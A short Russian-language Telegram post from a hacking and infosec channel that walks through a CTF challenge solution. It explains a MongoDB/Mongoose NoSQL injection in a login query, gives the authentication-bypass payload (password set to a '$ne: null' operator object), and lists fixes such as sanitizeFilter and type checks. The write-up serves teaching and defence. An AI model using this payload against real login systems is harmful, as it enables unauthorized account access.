Библиотека хакера | Hacking, Infosec, ИБ, информационная безопасность
12.6K subscribers
2.26K photos
138 videos
186 files
3.31K links
Все самое полезное по инфобезу в одном канале.

Список наших каналов: https://xn--r1a.website/proglibrary/9197

Для обратной связи: @proglibrary_feeedback_bot

По рекламе: @proglib_adv
РКН: https://gosuslugi.ru/snet/67ab0e2e75b36e054ef6d5bf
Download Telegram
🔓 Разбор задачи

Ответ: 👾 NoSQL Injection

❗️ Уязвимость:


User.findOne({ username, password });


Поля из req.body напрямую попадают в фильтр MongoDB.
Mongoose без sanitizeFilter позволяет операторные ключи ($ne, $gt и т.п.).

❗️ Эксплойт:


{
"username": "admin",
"password": { "$ne": null }
}


❗️ Запрос превращается в:


{ username: "admin", password: { $ne: null } }


Пароль admin ≠ null → документ найден → FLAG получен.

🛡️ Как фиксить:

Коротко и по делу:


mongoose.set('sanitizeFilter', true);


или проверять типы:


if (typeof password !== 'string') return 400;


🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰2